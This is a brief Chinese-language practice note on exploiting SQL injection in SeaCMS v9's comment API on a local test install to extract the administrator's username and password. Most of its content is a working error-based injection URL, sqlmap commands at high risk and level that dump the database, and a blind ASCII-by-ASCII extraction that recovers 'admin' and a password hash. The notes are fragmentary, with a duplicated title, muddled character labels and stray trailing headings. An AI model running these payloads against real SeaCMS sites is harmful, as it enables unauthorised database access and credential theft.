seacmsv9注入管理员账号密码

seacmsv9注入管理员账号密码

sea_comment表中没有数据，在管理器中插入查看方便一些

http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@%27

（但是只成功过一次）

用SQL注入工具：sqlmap（自动化）

sqlmap -u "http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1" --technique=B --dbms=mysql --level=5 --risk=3

sqlmap -u "http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1" --dbms=mysql --dump

手动提取方法：

确定字段

即5

已知第一个字符的 ASCII 值 =97，第二个字符的 ASCII 值 =100，第二个字符的 ASCII 值 =109，第四个=105，第五个等于110

返回admin，提取的数据正确

password 字段的长度20，第一个字段102，然后是50，57，55，97，53，55，97，53，97，55，52，51，56，57，52，97，48，101，52

Order by

ORDER BY-Error-Numeric